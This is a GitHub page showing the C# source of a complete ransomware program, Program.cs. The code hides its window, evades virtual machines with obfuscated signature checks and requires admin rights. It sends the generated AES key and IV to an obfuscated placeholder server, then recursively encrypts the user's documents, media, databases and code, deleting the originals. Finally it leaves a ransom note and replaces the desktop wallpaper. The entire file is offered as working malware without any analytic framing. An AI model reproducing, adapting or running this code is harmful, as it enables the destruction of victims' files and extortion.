This repository was archived by the owner on Aug 23, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathProgram.cs
More file actions
408 lines (359 loc) · 13 KB
/
Program.cs
File metadata and controls
408 lines (359 loc) · 13 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
using System;
using System.Linq;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.IO;
using System.Security.Principal;
using System.Net;
using System.Diagnostics;
using System.Threading.Tasks;
using System.Collections.Generic;
using System.Management;
using System.Text;
namespace Morgan
{
internal class Program
{
private static readonly bool DEBUG = false;
private static readonly bool ANTIVM = false;
private static readonly string c = "vAjLw4CMuAzLvoDc0RHa";
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
private const int SW_HIDE = 0;
private const int SPI_SETDESKWALLPAPER = 20;
private const int SPIF_UPDATEINIFILE = 0x01;
private const int SPIF_SENDCHANGE = 0x02;
static void Main(string[] args)
{
if (!DEBUG)
{
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
}
Run(args);
}
private readonly static List<string> virtualBiosSignatures = new List<string> {
"lJXY31kV",
"z80SY9ES",
"X1kV",
"0Z2bz9mcjlWT",
"==gb39mbr5WV",
"BdkV",
"=Qnbl1GcvxWZ2VGR",
"=MHaj9mQ",
"==AevJEbhVHdylmV",
"BdkVgQmchRmbhR3U",
"uVGW",
"==QVNVUU",
"u9Wa0FmcvBncvNEI0Z2bz9mcjlWT",
"zxWZsxWYyFGU",
"IJWbHByalR3bu5Wa",
"NZ1S",
"=UVbvRGINZFS",
"=AjLw4CM",
"u9Wa0FmcvBncvNEIlx2YhJ3T"
};
private static readonly String SELF_PATH = Assembly.GetExecutingAssembly().Location;
private static readonly string ENC_PATH = $"C:\\Users\\{Environment.UserName}\\";
private static readonly String[] EXCLUDED_DIRS =
{
$"C:\\Users\\{Environment.UserName}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup",
"C:\\Windows\\System32\\drivers",
"C:\\Windows\\System32\\"
};
private static readonly String[] FILE_EXTENSIONS =
{
".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".odt",
".ods", ".odp", ".jpg", ".jpeg", ".png", ".bmp", ".gif", ".tiff",
".svg", ".mp3", ".wav", ".aac", ".flac", ".aiff", ".mp4", ".avi",
".mkv", ".mov", ".wmv", ".sql", ".db", ".mdb", ".accdb", ".sqlite",
".zip", ".rar", ".7z", ".tar", ".gz", ".exe", ".bat", ".cmd", ".sh",
".py", ".java", ".c", ".cpp", ".js", ".html", ".htm", ".css", ".ini",
".conf", ".cfg", ".xml", ".json", ".yaml", ".yml", ".pst", ".eml",
".msg", ".ost", ".vmdk", ".vhd", ".vdi", ".txt", ".rtf", ".log",
".iso", ".ics", ".dat"
};
private static readonly Int32 KEY_SIZE = 32;
private static readonly Int32 BLOCK_SIZE = 16;
static void Run(string[] args)
{
if (ANTIVM && AntiVMGPU())
{
Environment.Exit(0);
}
if (ANTIVM && AntiVMBios())
{
Environment.Exit(0);
}
if (!DEBUG && !IsAdmin())
{
Environment.Exit(0);
}
if (!DEBUG && IsRunning())
{
Environment.Exit(0);
}
string uid = Guid.NewGuid().ToString();
GenKeys(out byte[] k, out byte[] v);
if (!DEBUG) {
try { SendP(k, v, uid); } catch { };
};
ProFiles(ENC_PATH, k, v);
if (!DEBUG) { DN(uid); }
if (!DEBUG) { DownloadImage(); };
if (DEBUG)
{
Console.ReadKey();
}
}
private static void SendP(byte[] k, byte[] v, string id)
{
try
{
string kh = BitConverter.ToString(k).Replace("-", "").ToLower();
string ih = BitConverter.ToString(v).Replace("-", "").ToLower();
string jp = $"{{\"id\": \"{id}\", \"k\": \"{kh}\", \"v\": \"{ih}\"}}";
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(GetString(c));
request.Method = "POST";
request.ContentType = "application/json";
using (StreamWriter writer = new StreamWriter(request.GetRequestStream(), Encoding.UTF8))
{
writer.Write(jp);
}
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
{
}
}
catch
{
return;
}
}
private static bool AntiVMBios()
{
try
{
var searcher = new ManagementObjectSearcher(GetString("T9USC9lMz4WaXBSTPJlRgoCIUNURMV0U"));
foreach (ManagementObject bios in searcher.Get())
{
string biosName = bios[GetString("==QZtFmT")]?.ToString();
string biosManufacturer = bios[GetString("yVmc1R3YhZWduFWT")]?.ToString();
string biosVersion = bios[GetString("=42bpNnclZ1UPlkQT9USC10U")]?.ToString();
if (biosName != null && biosManufacturer != null && biosVersion != null)
{
foreach (string signature in virtualBiosSignatures)
{
if (biosName.IndexOf(GetString(signature), StringComparison.OrdinalIgnoreCase) >= 0 ||
biosManufacturer.IndexOf(GetString(signature), StringComparison.OrdinalIgnoreCase) >= 0 ||
biosVersion.IndexOf(GetString(signature), StringComparison.OrdinalIgnoreCase) >= 0)
{
return true;
}
}
}
}
}
catch
{
return true;
}
return false;
}
private static bool AntiVMGPU()
{
try
{
var searcher = new ManagementObjectSearcher(GetString("=IXZsx2byRnbvN0blRWaW9lMz4WaXBSTPJlRgoCIUNURMV0U"));
foreach (ManagementObject gpu in searcher.Get())
{
string gpuName = gpu[GetString("==QZtFmT")]?.ToString();
if (gpuName != null)
{
foreach (string signature in virtualBiosSignatures)
{
if (gpuName.IndexOf(GetString(signature), StringComparison.OrdinalIgnoreCase) >= 0)
{
return true;
}
}
}
}
}
catch
{
return true;
}
return false;
}
private static string GetString(string input)
{
byte[] data = Convert.FromBase64String(ReverseString(input));
Console.WriteLine(Encoding.UTF8.GetString(data));
return Encoding.UTF8.GetString(data);
}
private static string ReverseString(string input)
{
char[] charArray = input.ToCharArray();
Array.Reverse(charArray);
return new string(charArray);
}
private static bool IsRunning()
{
try
{
string currentProcessName = Process.GetCurrentProcess().ProcessName;
Process[] processes = Process.GetProcessesByName(currentProcessName);
return processes.Length > 1;
} catch
{
return false;
}
}
private static bool IsAdmin()
{
WindowsIdentity id = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(id);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
private static void DN(string uid)
{
String text = $"Your files are encrypted using AES, ur ID: {uid}";
File.WriteAllText($"C:\\Users\\{Environment.UserName}\\Desktop\\README.txt", text);
}
private static void DownloadImage()
{
try
{
string fileName = Path.GetFileName("wallpaper.png");
string filepath = Path.Combine(Path.GetTempPath(), fileName);
using (WebClient client = new WebClient())
{
client.DownloadFile("https://i.imgur.com/tcLXq8Q.png", filepath);
}
ChangeWallpaper(filepath);
} catch
{
return;
}
}
private static void ChangeWallpaper(string wallpaperPath)
{
try
{
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, wallpaperPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
return;
}
catch
{
return;
}
}
private static bool IsSelf(string path)
{
return path.ToLower().Equals(SELF_PATH.ToLower());
}
private static bool IsExcluded(string path)
{
return EXCLUDED_DIRS.Any(excludedDir =>
string.Equals(path, excludedDir, StringComparison.OrdinalIgnoreCase));
}
private static void ProFiles(string p, byte[] k, byte[] v)
{
if (!Directory.Exists(p)) return;
if (IsExcluded(p)) return;
var files = Directory.GetFiles(p).Where(file => !IsExcluded(file) && FILE_EXTENSIONS.Contains(Path.GetExtension(file).ToLower()));
Parallel.ForEach(files, file =>
{
try
{
if (!File.Exists(file)) return;
if (!FILE_EXTENSIONS.Contains(Path.GetExtension(file).ToLower())) return;
if (IsSelf(file)) return;
if (!DEBUG)
{
Enc(file, k, v);
}
else
{
Console.WriteLine("[DEBUG] ENC FILE: " + file);
}
} catch { return; };
});
var subDirectories = Directory.GetDirectories(p).Where(sb => !IsExcluded(sb));
Parallel.ForEach(subDirectories, sb =>
{
try
{
if (IsExcluded(sb)) return;
ProFiles(sb, k, v);
}
catch { return; };
});
}
private static void Enc(string p, byte[] k, byte[] v)
{
if (!File.Exists(p)) return;
try
{
byte[] f = File.ReadAllBytes(p);
byte[] ed = ED(f, k, v);
Console.WriteLine(ed.Length);
if (ed != null)
{
string ef = p + ".alci";
File.WriteAllBytes(ef, ed);
File.Delete(p);
}
} catch (Exception e) {
Console.WriteLine(e.ToString());
return;
}
}
private static byte[] ED(byte[] d, byte[] k, byte[] v)
{
try
{
using (Aes a = Aes.Create())
{
a.KeySize = KEY_SIZE * 8;
a.BlockSize = BLOCK_SIZE * 8;
a.Key = k;
a.IV = v;
a.Mode = CipherMode.CBC;
a.Padding = PaddingMode.PKCS7;
using (ICryptoTransform encryptor = a.CreateEncryptor(a.Key, a.IV))
using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write))
{
cs.Write(d, 0, d.Length);
cs.FlushFinalBlock();
}
return ms.ToArray();
}
}
} catch (Exception e)
{
Console.WriteLine(e.ToString());
return null;
}
}
private static void GenKeys(out byte[] k, out byte[] v)
{
using (var a = Aes.Create())
{
a.KeySize = KEY_SIZE * 8;
a.BlockSize = BLOCK_SIZE * 8;
a.GenerateKey();
a.GenerateIV();
k = a.Key;
v = a.IV;
}
}
}
}